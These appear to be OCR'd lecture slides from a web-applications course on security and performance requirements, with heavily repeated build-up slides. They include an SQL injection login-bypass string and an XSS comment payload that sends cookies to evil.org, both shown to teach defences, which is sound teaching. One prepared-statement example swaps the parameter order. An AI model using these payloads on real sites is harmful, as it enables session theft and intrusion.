Introduction to Non-Functional Requirements on a Web
Application

Internet Applications, ID1354

Requiremen

Security

File System Secu Input Filtering

Password Encry

Cross Site Scripting,

ппрегоопа

Performance

Client-Side Validation

Persistent Connections

Contents

- Non-Functional Requirements
- Security
 - File System Security
 - Input Filtering
 - Database Security
 - Password Encryption
 - Cross Site Scripting, XSS
 - Impersonation
- Performance
 - Client-Side Validation
 - Caching
 - Persistent Connections

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ecurity

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

Section

- Non-Functional Requirements
- Security
- Performance

Non-Functional Requirements

Non-Functional Requirements

Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

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Non-Functional Requirements

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
 - response time

Non-Functional Requirements

Security

Input Filtering

Database Security

Cross Site Scripting,

..,...

Client-Side Validation

Non-Functional Requirements

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
 - response time
 - availability

Non-Functional Requirements

Security

Input Filtering

Database Security

Password Encryption
Cross Site Scripting, XSI

Impersonation

Porformanco

Non-Functional Requirements

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 - response time
 - availability
 - usability

Non-Functional Requirements

Security

nput Filtering

Password Encryption
Cross Site Scripting, XSS

D (

Client-Side Validation Caching

Non-Functional Requirements

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
 - response time
 - availability
 - usability
 - security (authentication, authorization, integrity, privacy, etc)

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption

Impersonation

Client-Side Validation

Caching
Persistent Connections

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
 - response time
 - availability
 - usability
 - security (authentication, authorization, integrity, privacy, etc)
 - and many more.

Non-Functional Requirements

Security

Input Filtering

Database Security

Cross Site Scripting, X

Performance

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
 - response time
 - availability
 - usability
 - security (authentication, authorization, integrity, privacy, etc)
 - and many more.
- Very important to specify non-functional requirements before development starts.

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption

Impersonation

Performance

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
 - response time
 - availability
 - usability
 - security (authentication, authorization, integrity, privacy, etc)
 - and many more.
- Very important to specify non-functional requirements before development starts.
- Also very important to meet non-functional requirements from the beginning. It is difficult, time-consuming and error-prone to add them last, when the program has all desired functionality.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

Performance
Client-Side Validation
Caching

Non-Functional Requirements (Cont'd)

Be realistic when specifying non-functional requirements, do not write a wish list.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance
Client-Side Validation
Caching

Non-Functional Requirements (Cont'd)

- Be realistic when specifying non-functional requirements, do not write a wish list.
- ▶ It must be possible to verify that the requirements are fulfilled. For example, do not write fast enough, but rather first visible sign of response within 1 second in 99% of the calls measured from outer firewall.

Non-Functional Requirements

Security
File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Non-Functional Requirements (Cont'd)

- Be realistic when specifying non-functional requirements, do not write a wish list.
- ▶ It must be possible to verify that the requirements are fulfilled. For example, do not write fast enough, but rather first visible sign of response within 1 second in 99% of the calls measured from outer firewall.
- Now, we will look at two groups of non-functional requirements: security and performance.

Non-Functional Requirements

Security
File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Section

- Non-Functional Requirements
- Security
 - File System Security
 - Input Filtering
 - Database Security
 - Password Encryption
 - Cross Site Scripting, XSS
 - Impersonation
- Performance

Requirement

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

Security

There are many different aspects of security.

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XS

.

Client-Side Validation
Caching

Non-Functional

Security

Requirements

Security

- There are many different aspects of security.
- Here, we will look at possible flaws that opens security holes, which may be exploited for attacks. We will also see how to stop these attacks.

Security

- There are many different aspects of security.
- Here, we will look at possible flaws that opens security holes, which may be exploited for attacks. We will also see how to stop these attacks.
- This is only an introduction to web site security, to illustrate that problems exist and must be considered.

Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

erformance

Section

Non-Functional Requirements

Security

- File System Security
- Input Filtering
- Database Security
- Password Encryption
- Cross Site Scripting, XSS
- Impersonation

Performance

- Client-Side Validation
- Caching
- Persistent Connections

lon-Functional lequirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

Performance

File System Security

PHP is able to access files, execute commands and open network connections on the server.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security

Database Security

Password Encryption

Cross Site Scripting, XSS

File System Security

- PHP is able to access files, execute commands and open network connections on the server.
- This means there are big security holes if the PHP interpreter's access rights are not properly limited.

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XSS

erformance

File System Security

- PHP is able to access files, execute commands and open network connections on the server.
- This means there are big security holes if the PHP interpreter's access rights are not properly limited.
- Tools to mitigate this are the web server's userid, file location, and mechanisms to restrict which files the web server may access.

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

File System Security

- PHP is able to access files, execute commands and open network connections on the server.
- This means there are big security holes if the PHP interpreter's access rights are not properly limited.
- Tools to mitigate this are the web server's userid, file location, and mechanisms to restrict which files the web server may access.
- This is mainly related to configuration, not programming, and is therefore server dependent.

Non-Functional Requirements

File System Security

Input Filtering

Database Security

Password Encryption

Cross Site Scripting, XSS

Performance

Web Server User

We must specify which user the web server shall be on the local operating system.

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XSS

Client-Side Validation
Caching

- We must specify which user the web server shall be on the local operating system.
- To avoid errors related to access rights, it might be tempting to set the web server's user id to root or administrator or another the name of the superuser.

Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XSS

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- We must specify which user the web server shall be on the local operating system.
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- ► This is not appropriate!! It allows an attacker (or bugs in our code) to perform any malicious action.

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XSS

erformance

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- A good advise is to specify a special dedicated user for the web server, that is not used by anyone else. This way, we can freely tune access rights for the web server.

Non-Functional Requirements

Security

File System Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

erformance

- We must specify which user the web server shall be on the local operating system.
- To avoid errors related to access rights, it might be tempting to set the web server's user id to root or administrator or another the name of the superuser.
- ► This is not appropriate!! It allows an attacker (or bugs in our code) to perform any malicious action.
- A good advise is to specify a special dedicated user for the web server, that is not used by anyone else. This way, we can freely tune access rights for the web server.
- How to specify user (and group) id is server and OS dependent. On apache/unix, it is specified in the envvars file, which is normally located in the same directory as apache2.conf

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XSS

erformance

Apache User On Windows

On Windows, the apache server normally runs as the LocalSystem user, which has no network privileges but wide file system privileges.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XSS

Performance
Client-Side Validation

Caching
Persistent Connections



Apache User On Windows

- On Windows, the apache server normally runs as the LocalSystem user, which has no network privileges but wide file system privileges.
- The apache documentation, see
 http://httpd.apache.org/docs/
 2.4/platform/windows.html#winsvc,
 recommends creating a new, dedicated
 user for the apache service. This document
 also shows how to do that.

Non-Functional

Security

File System Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

Performance
Client-Side Validation

Caching
Persistent Connections

File System Access

Having restricted the web server to a user with limited rights, we might get exceptions because the server can not access files it need. Non-Functional Requirements

Security

File System Security

Input Filtering

Database Secu

Password Encryption Cross Site Scripting, XSS

Performance

Client-Side Validation Caching

File System Access

- Having restricted the web server to a user with limited rights, we might get exceptions because the server can not access files it need.
- Repeatedly facing this problem, we might be tempted to release access control and give all users all rights on the entire web site.

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

File System Access

- Having restricted the web server to a user with limited rights, we might get exceptions because the server can not access files it need.
- Repeatedly facing this problem, we might be tempted to release access control and give all users all rights on the entire web site.
- ► This is not appropriate!! We must, file by file, decide if the server shall have access to it. If so, we might set the server user to file owner.

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Prohibit HTTP Access

Sometimes it shall be possible to read or include a file in PHP code, but not to retrieve the file with a HTTP GET request.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XSS

,

Client-Side Validation

Caching
Persistent Connections

Prohibit HTTP Access

- Sometimes it shall be possible to read or include a file in PHP code, but not to retrieve the file with a HTTP GET request.
- This situation can not be solved by limiting file system access. Instead, we have to specify in the server's configuration files what it is allowed to do.

Non-Functional Requirements

ecurity

File System Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

Performance

Prohibit HTTP Access

- Sometimes it shall be possible to read or include a file in PHP code, but not to retrieve the file with a HTTP GET request.
- This situation can not be solved by limiting file system access. Instead, we have to specify in the server's configuration files what it is allowed to do.
- With apache, application specific configuration is done with a .htaccess file. The content of such a file is valid for the directory where the file is located, and all subdirectories.

Non-Functional Requirements

ecurity

File System Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

Performance

Prohibit HTTP Access

- Sometimes it shall be possible to read or include a file in PHP code, but not to retrieve the file with a HTTP GET request.
- This situation can not be solved by limiting file system access. Instead, we have to specify in the server's configuration files what it is allowed to do.
- With apache, application specific configuration is done with a .htaccess file. The content of such a file is valid for the directory where the file is located, and all subdirectories.
- The following entry forbids HTTP access to the file conversation.txt, where the conversation is stored in the sample chat application.

```
1 <FilesMatch "conversation.txt">
2  Order allow, deny
3  Deny from all
4 </FilesMatch>
```

Non-Functional Requirements

ecurity

File System Security

Input Filtering

Database Security

Password Encryption

Cross Site Scripting, XSS

Impersonation

Performance

Client-Side Validation
Caching
Persistent Connections

We might want to prohibit HTTP access to an entire directory, not just a file. Directory directives must be placed in the apache configuration file, apache2.conf. Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption

Performance
Client-Side Validation
Caching

We might want to prohibit HTTP access to an entire directory, not just a file. Directory directives must be placed in the apache

configuration file, apache2.conf.

It is a good idea to prohibit access to all PHP classes. It should only be possible to direct HTTP requests to files intended to be accessed via HTTP. Non-Functional Requirements

Security

File System Security

Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS
Impersonation

erformance

Client-Side Validation
Caching
Persistent Connections

Prohibit HTTP Access (Cont'd)

This can be achieved by placing PHP classes in a classes directory and specifying the following entry in apache2.conf.

```
1 <Directory "/var/www/doc-root/*/classes">
2    Order allow, deny
3    Deny from all
4 </Directory>
```

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption

Impersonation

Performance

Client-Side Validation

ersistent Connections

This can be achieved by placing PHP classes in a classes directory and specifying the following entry in apache2.conf.

```
1 <Directory "/var/www/doc-root/*/classes">
2    Order allow, deny
3    Deny from all
4 </Directory>
```

➤ This applies to all files with a path matching
/var/www/doc-root/*/classes/*. It
prohibits access to PHP classes if the web server's
root directory is /var/www/doc-root and all
PHP classes are placed in a classes directory in
the web application root.

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XS

Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption
Cross Site Scripting, XS

,....

Client-Side Validation
Caching
Paraistant Connections

Question 1

Non-Functional Requirements

Security

Section

- File System Security
- Input Filtering
- Database Security
- Password Encryption
- Cross Site Scripting, XSS
- Impersonation

Performance

- Client-Side Validation
- Caching
- Persistent Connections

lon-Functional Requirements

Security

File System Security

Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance

Input Filtering

Never trust anything coming from the client, there is no such thing as client-side security. This is very important and solves many security problems. Non-Functional Requirements

Security

File System Security

Database Security
Password Encryption

Impersonati

Performance

Input Filtering

- Never trust anything coming from the client, there is no such thing as client-side security. This is very important and solves many security problems.
- Do not assume that data, e.g., HTTP parameters, comes from your client code. It could come from an attacker.

Non-Functional Requirements

ecurity

File System Security

Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance

Input Filtering

- Never trust anything coming from the client, there is no such thing as client-side security. This is very important and solves many security problems.
- Do not assume that data, e.g., HTTP parameters, comes from your client code. It could come from an attacker.
- It is still appropriate to use client-side data validation to improve performance for ordinary execution, i.e., no attacks. Client-side validation is faster since no request is sent to server.

Non-Functional Requirements

Security

File System Security

Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation
Caching
Persistent Connections

Validate Parameters

Therefore, server-side validation is necessary, whether there is client-side validation or not. Normally, both are used.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security

Input Filtering

Password Encryption

Impersonat

Performance

Validate Parameters

- Therefore, server-side validation is necessary, whether there is client-side validation or not. Normally, both are used.
- ► To be strict, all methods should always validate all parameters.

Non-Functional Requirements

lon-Functional lequirements

Security

File System Security

Input Filtering

Password Encryption

Impersona

Performance

- ► Therefore, server-side validation is necessary, whether there is client-side validation or not. Normally, both are used.
- ► To be strict, all methods should always validate all parameters.
- This not only improves security, but also reduces the risk of corrupt data, makes it easier to find bugs and facilitates error handling.

Security

File System Security

Input Filtering

Password Encryption

Impersona

Performance

Validating a Numeric Value

► HTTP is string based, all data from the client will be of the string type in server code.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security

Input Filtering

Password Encryption

personation

Client Side Validation

Caching Caching

- ► HTTP is string based, all data from the client will be of the string type in server code.
- Parameters supposed to contain numbers must be checked to see that the content really is a number, the following code shows how to validate an integer.

```
1 if (!empty($_GET['someParam'])) {
2    $someParam = (int) $_GET['someParam'];
3 } else {
4    $someParam = 0;
5 }
```

Security

File System Security
Input Filtering

Password Encryption
Cross Site Scripting, XSS

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Validating a Numeric Value

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```
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```

► The **empty** function on line one returns true if the argument does not exist or equals **FALSE**.

Remember that "", "0" and 0 equals **FALSE**.

Non-Functional Requirements

Security

File System Security
Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation
Caching
Persistent Connections

Validating a Numeric Value

- ► HTTP is string based, all data from the client will be of the string type in server code.
- Parameters supposed to contain numbers must be checked to see that the content really is a number, the following code shows how to validate an integer.

```
1 if (!empty($_GET['someParam'])) {
2   $someParam = (int) $_GET['someParam'];
3 } else {
4   $someParam = 0;
5 }
```

- ► The **empty** function on line one returns true if the argument does not exist or equals **FALSE**.

 Remember that "", "0" and 0 equals **FALSE**.
- ► The cast (int) on line two converts the argument to an integer. If the string starts with valid numeric data, this will be the value used. Otherwise, the value will be zero.

Non-Functional Requirements

Security

File System Security
Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance
Client-Side Validation
Caching
Persistent Connections

Validating a Numeric Value (Cont'd)

► To access POST data, use _POST instead of _GET.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security

Input Filtering

Password Encryption

Impersonation

rformance

Validating a Numeric Value (Cont'd)

- ► To access POST data, use _POST instead of GET.
- To validate a float parameter, use
 (float) instead of (int) for casting.

Non-Functional Requirements

lon-Functional Requirements

Security

File System Security Input Filtering

Database Security
Password Encryption

Impersonati

Performance

- To access POST data, use _POST instead of _GET.
- To validate a float parameter, use(float) instead of (int) for casting.
- There are many more casts available for other PHP types, for example (double) and (boolean).

Security

File System Security
Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance
Client-Side Validation

Caching
Persistent Connections

Validating a String

There are many ctype_ functions the can be used to check the content of a string, for example:

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security

Input Filtering

Database Securi Password Encryr

Cross Site Scripting, XSS

,

Client Side Validation

- There are many ctype_ functions the can be used to check the content of a string, for example:
 - ctype_alpha(\$str) is true if the argument contains only letters.

Security

File System Security

Input Filtering

Password Encryption

Performance

- There are many ctype_ functions the can be used to check the content of a string, for example:
 - ctype_alpha(\$str) is true if the argument contains only letters.
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Security

File System Security

Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation

Persistent Connections

Validating a String

- There are many ctype_ functions the can be used to check the content of a string, for example:
 - ctype_alpha(\$str) is true if the argument contains only letters.
 - ctype_alnum(\$str) is true if the argument contains only letters or digits.
 - ctype_print (\$str) is true if the argument contains only characters that produce output, i.e., no control characters.

Non-Functional Requirements

Security

ile System Security

Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance

- There are many ctype_ functions the can be used to check the content of a string, for example:
 - ctype_alpha(\$str) is true if the argument contains only letters.
 - ctype_alnum(\$str) is true if the argument contains only letters or digits
 - ctype_print (\$str) is true if the argument contains only characters that produce output, i.e., no control characters.
- Also use the empty function to check if the parameter is set, as when validating a number.

Security

File System Security

Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance

Other Input

Not only _GET and _POST data comes from client input.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security

Input Filtering

Password Encryption

mpersonation

Performance

Caching

- Not only _GET and _POST data comes from client input.
- It is important to remember that all superglobals except _SESSION, i.e., _GET, _POST, _COOKIE, _SERVER, _FILES, _ENV, _REQUEST, contain client data.

Security

File System Security

Input Filtering

Password Encryption

Cross Site Scrinting XSS

Impersona

Performance

- Not only _GET and _POST data comes from client input.
- It is important to remember that all superglobals except _SESSION, i.e., _GET, _POST, _COOKIE, _SERVER, _FILES, _ENV, _REQUEST, contain client data.
- Whenever reading from these, data must be validated.

Security

File System Security

Input Filtering

Password Encryption

Importornati

erformance

Section

Non-Functional Requirements

Security

- File System Security
- Input Filtering
- Database Security
- Password Encryption
- Cross Site Scripting, XSS
- Impersonation

Performance

- Client-Side Validation
- Caching
- Persistent Connections

lon-Functional lequirements

ecurity

Input Filtering

Database Security

Cross Site Scripting, XSI

Performance

Client-Side Validation
Caching
Persistent Connections

Database Access Control

The PHP program shall connect to the database as a user with as few rights as possible. Never let PHP connect as a superuser, like root.

Non-Functional Requirements

Non-Functional Requirements

Security

nput Filtering

Database Security

Cross Site Scripting, XSS

Performance

Caching

Parciptont Connections

- The PHP program shall connect to the database as a user with as few rights as possible. Never let PHP connect as a superuser, like root.
- Access to the database must be password protected, which means the password must be stored somewhere it can be accessed by the PHP program, for example in a php file with the content:

```
$username = 'myuser';
$password = 'mypass';
```

Security

nput Filtering

Database Security

Cross Site Scripting, XSS

Performance

Client-Side Validation

Caching

Persistent Connections

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```
$username = 'myuser';
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► This file can be included with an **include** directive, but shall not be accessible with HTTP requests.

Non-Functional Requirements

Security

Input Filtering

Database Security

Cross Site Scripting, XSS

rformance

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```
$username = 'myuser';
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```

- ► This file can be included with an **include** directive, but shall not be accessible with HTTP requests.
- Best is to place it outside of document root, where the web server can not access it. Both include and require can accept a filesystem path.

Security

Input Filtering

Database Security

Cross Site Scripting, XSS

erformance

Client-Side Validation
Caching
Persistent Connections

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```
$username = 'myuser';
$password = 'mypass';
```

- ► This file can be included with an **include** directive, but shall not be accessible with HTTP requests.
- Best is to place it outside of document root, where the web server can not access it. Both include and require can accept a filesystem path.
- Alternatively, it can be protected as described above, in the section on file system security.

Non-Functional Requirements

Security

File System Secur Input Filtering

Database Security

Cross Site Scripting, XSS

'erformance Client-Side Validation

ersistent Connections

SQL Injection

As stated above, not properly validating user input can have severe consequences, one of which is that a malicious user can alter SQL statements, called SQL injection. Non-Functional Requirements

Security

File System Sec Input Filtering

Database Security

Password Encryption

Cross Site Scripting, XSS

Impersonation

Performance

Client-Side Validation

SQL Injection

- As stated above, not properly validating user input can have severe consequences, one of which is that a malicious user can alter SQL statements, called SQL injection.
- Using SQL injection, an attacker creates or alters existing SQL commands to expose or change hidden data, or to execute commands on the database host.

Non-Functional Requirements

Security

Input Filtering

Database Security

Cross Site Scripting, XSS

Performance

SQL Injection

- As stated above, not properly validating user input can have severe consequences, one of which is that a malicious user can alter SQL statements, called SQL injection.
- Using SQL injection, an attacker creates or alters existing SQL commands to expose or change hidden data, or to execute commands on the database host.
- This is accomplished by the application taking user input and combining it with static parameters to build an SQL query.

Non-Functional Requirements

Security

Input Filtering

Database Security

Cross Site Scripting, XSS

Performance

SQL Injection Example

Consider the following PHP code, used to check if a matching pair of pwd and uid exists. \$pwd and \$uid are user input.

Non-Functional Requirements

Security

nput Filtering

Database Security

Cross Site Scripting, XSS
Impersonation

Performance

SQL Injection Example

Consider the following PHP code, used to check if a matching pair of pwd and uid exists. \$pwd and \$uid are user input.

A malicious user could give both uid and pwd the value a' or '1' = '1. Non-Functional Requirements

Security

Input Filtering

Database Security

assword Encryption

Cross Site Scripting, XSS

Performance

SQL Injection Example

Consider the following PHP code, used to check if a matching pair of pwd and uid exists. \$pwd and \$uid are user input.

- A malicious user could give both uid and pwd the value a' or '1' = '1.
- Now the complete statement becomes

```
SELECT * FROM Users WHERE
    uid='a' OR '1' = '1' AND
    pwd='a' OR '1' = '1';
```

and the attacker is logged in without knowing username or password of an existing user.

Non-Functional Requirements

Security

Input Filtering

Database Security

Password Encryption

Cross Site Scripting, XSS

Impersonation

Caching

The most common way to prohibit SQL injection is to use parameterized queries, implemented with prepared statements. Requirements

Security

ne System Secu

Database Security

Cross Site Scripting, XSS

Performance
Client-Side Validation

Caching
Persistent Connections

Prohibiting SQL Injection, Prepared Statements

- ► The most common way to prohibit SQL injection is to use parameterized queries, implemented with prepared statements.
- The prepared statement execution consists of two stages: prepare and execute.

Non-Functional Requirements

Non-Functional Requirements

Security

put Filtering

Database Security

Cross Site Scripting, XSS

erformance

- The most common way to prohibit SQL injection is to use parameterized queries, implemented with prepared statements.
- ► The prepared statement execution consists of two stages: prepare and execute.
- At the prepare stage a statement template is sent to the database server. The server performs a syntax check and initializes server internal resources for later use.

Security

nput Filtering

Database Security

Password Encryption

Cross Site Scripting, XSS

Performance
Client-Side Validation
Caching

- ► The most common way to prohibit SQL injection is to use parameterized queries, implemented with prepared statements.
- ► The prepared statement execution consists of two stages: prepare and execute.
- At the prepare stage a statement template is sent to the database server. The server performs a syntax check and initializes server internal resources for later use.
- During execute stage the client binds parameter values and sends them to the server. The server creates a statement from the statement template and the bound values and executes it.

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Database Security

assword Encryption ross Site Scripting, XSS

Prepared Statement Example

► In the prepare stage, the SQL statement is defined and parameters are specified as ?.

```
$stmt = $mysqli->prepare(
    "SELECT * FROM Users WHERE uid=? AND pwd=?;"
);
```

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering

Database Security

Cross Site Scripting, XSS

Performance

▶ In the prepare stage, the SQL statement is defined and parameters are specified as ?.

```
$stmt = $mysqli->prepare(
    "SELECT * FROM Users WHERE uid=? AND pwd=?;"
);
```

► In the execute stage, the parameter values are inserted and the statement is executed. The parameter ss means that both values are strings.

```
$stmt->bind_param(ss, $pwd, $uid);
$stmt->execute();
```

Non-Functional Requirements

ecurity

nput Filtering

Database Security

Cross Site Scripting, XSS

erformance

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$stmt->bind_param(ss, $pwd, $uid);
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▶ Note that is it not possible to alter the statement.

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ecurity

Input Filtering

Database Security

Cross Site Scripting, XSS

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);
```

► In the execute stage, the parameter values are inserted and the statement is executed. The parameter ss means that both values are strings.

```
$stmt->bind_param(ss, $pwd, $uid);
$stmt->execute();
```

- ▶ Note that is it not possible to alter the statement.
- User input (\$pwd and \$uid) shall always be validated, even if prepared statements are used.

Non-Functional Requirements

ecurity

Input Filtering

Database Security

Cross Site Scripting, XSS

erformance

Database Security

Prepared Statements Improve Performance

 Prepared statements are not only more secure, they are also faster than ordinary statements when executing the same statements multiple times.

► This is because they are interpreted only once by the database server.

Non-Functional Requirements

Non-Functional Requirements

Security

put Filtering

Database Security

Cross Site Scripting, XSS

Performance

Non-Functional Requirements

Security

Input Filtering

Database Security

Cross Site Scripting, XSS

Performano

Client-Side Validation
Caching
Persistent Connections

Question 2

Section

Non-Functional Requirements

Security

- File System Security
- Input Filtering
- Database Security
- Password Encryption
- Cross Site Scripting, XSS
- Impersonation

Performance

- Client-Side Validation
- Caching
- Persistent Connections

on-Functional equirements

Security

File System Security
Input Filtering
Database Security

Password Encryption

Cross Site Scripting, XSS

Performance

Password Encryption

Whenever the application includes some kind of login mechanism, it is necessary to store user's passwords.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security
Input Filtering

Password Encryption

Cross Site Scripting, XSI

Performance

Password Encryption

- Whenever the application includes some kind of login mechanism, it is necessary to store user's passwords.
- Passwords shall always be encrypted, not even the system administrator shall see clear text passwords.

Non-Functional Requirements

Security

File System Security
Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance

- Whenever the application includes some kind of login mechanism, it is necessary to store user's passwords.
- Passwords shall always be encrypted, not even the system administrator shall see clear text passwords.
- ► A hashing algorithm calculates a hash value, based on an original value. It is not possible to recalculate the original value from the hash.

Security

File System Security
Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance

- Whenever the application includes some kind of login mechanism, it is necessary to store user's passwords.
- Passwords shall always be encrypted, not even the system administrator shall see clear text passwords.
- A hashing algorithm calculates a hash value, based on an original value. It is not possible to recalculate the original value from the hash.
- By applying a hashing algorithm to passwords, it becomes impossible to determine the original password.

Security

ile System Security

put Filtering

Password Encryption
Cross Site Scripting, XSS

Porformance

- Whenever the application includes some kind of login mechanism, it is necessary to store user's passwords.
- Passwords shall always be encrypted, not even the system administrator shall see clear text passwords.
- A hashing algorithm calculates a hash value, based on an original value. It is not possible to recalculate the original value from the hash.
- By applying a hashing algorithm to passwords, it becomes impossible to determine the original password.
- It is still possible to compare the resulting hash to the original password by hashing also the password entered at login.

Security

File System Security
Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance

Hashing

Common hashing algorithms are MD5, SHA1 and SHA256, which are designed to be very fast.

Non-Functional Requirements

Non-Functional Requirements

Security

Input Filtering

Database Security

Password Encryption

Cross Site Scripting, XSS

Performance

Hashing

- Common hashing algorithms are MD5, SHA1 and SHA256, which are designed to be very fast.
- In fact, they are so fast that it has become trivial to calculate the original value from the hash simply by trying all possible original values until one that generates the searched hash is found.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security

Password Encryption

Cross Site Scripting, XSS

Performance
Client-Side Validation

Caching
Persistent Connections

Hashing

- Common hashing algorithms are MD5, SHA1 and SHA256, which are designed to be very fast.
- ► In fact, they are so fast that it has become trivial to calculate the original value from the hash simply by trying all possible original values until one that generates the searched hash is found.
- Starting from PHP 5.5, there is a password hashing api which is a good replacement for the above mentioned weak algorithms.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security

Password Encryption

Cross Site Scripting, XSS

Performance

Hashing Example

► To hash a password before storing it, use the password_hash function. The PASSWORD_DEFAULT parameter specifies that the default hashing algorithm shall be used.

```
password_hash($password, PASSWORD_DEFAULT);
```

Non-Functional Requirements

Security

File System Security Input Filtering Database Security

Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation

Caching
Persistent Connections

Hashing Example

► To hash a password before storing it, use the password_hash function. The PASSWORD_DEFAULT parameter specifies that the default hashing algorithm shall be used.

```
password_hash($password, PASSWORD_DEFAULT);
```

To check a password entered at login against a stored, hashed, password, use the password_verify function. The \$hash parameter is the hashed value read from the data storage.

```
password_verify($password, $hash);
```

Non-Functional Requirements

Security

File System Security
Input Filtering

Password Encryption
Cross Site Scripting, XSS

Performance
Client-Side Validation
Caching

Cross Site Scripting, XSS

Section

Non-Functional Requirements

Security

- File System Security
- Input Filtering
- **Database Security**
- Password Encryption
- Cross Site Scripting, XSS
- Impersonation

Performance

- Client-Side Validation
- Caching
- Persistent Connections

Cross Site Scripting, XSS

Cross Site Scripting, XSS, means that an attacker injects HTML code, which is then displayed in an unknowing user's browser without further validation. Non-Functional Requirements

Security

File System Security

nput Filtering

Database Security

Cross Site Scripting, XSS

impersonation

Performance
Client-Side Validation
Caching

- n en
- File System Security Input Filtering Database Security

Non-Functional

Requirements

Cross Site Scripting, XSS

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- Cross Site Scripting, XSS, means that an attacker injects HTML code, which is then displayed in an unknowing user's browser without further validation.
- This can happen if a web server displays content that comes from any external source.

- Cross Site Scripting, XSS, means that an attacker injects HTML code, which is then displayed in an unknowing user's browser without further validation.
- This can happen if a web server displays content that comes from any external source.
- The external source can be data submitted from browser, an email client, an advertisement, a tracker or anything else that is inserted into the HTML document.

Security

File System Security Input Filtering Database Security

Cross Site Scripting, XSS

Impersonat

Consider the commenting feature of tasty recipes, say a user submits the following comment.

```
<script>
location.assign("http://evil.org?cookies=" +
document.cookie);
</script>
```

Non-Functional Requirements

Non-Functional Requirements

Security

nput Filtering

Cross Site Scripting, XSS

Impersonation

Performance

Consider the commenting feature of tasty recipes, say a user submits the following comment.

```
<script>
  location.assign("http://evil.org?cookies=" +
  document.cookie);
</script>
```

A user reading the comment is redirected to evil.org, all cookies associated with the current site are included in the query string of the URL.

lon-Functional Requirements

Security

put Filtering
atabase Security

Cross Site Scripting, XSS

Impersonati

Performance

Consider the commenting feature of tasty recipes, say a user submits the following comment.

```
<script>
  location.assign("http://evil.org?cookies=" +
  document.cookie);
</script>
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- A user reading the comment is redirected to evil.org, all cookies associated with the current site are included in the query string of the URL.
- Once the attacker has the cookies they can be used for example to impersonate the user by using the cookie with the session id.

Non-Functional Requirements

ecurity

ile System Security

nput Filtering

tatabase Security

Cross Site Scripting, XSS

impersona

erformance

► Consider the commenting feature of tasty recipes, say a user submits the following comment.

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<script>
location.assign("http://evil.org?cookies=" +
document.cookie);
</script>
```

- A user reading the comment is redirected to evil.org, all cookies associated with the current site are included in the query string of the URL.
- Once the attacker has the cookies they can be used for example to impersonate the user by using the cookie with the session id.
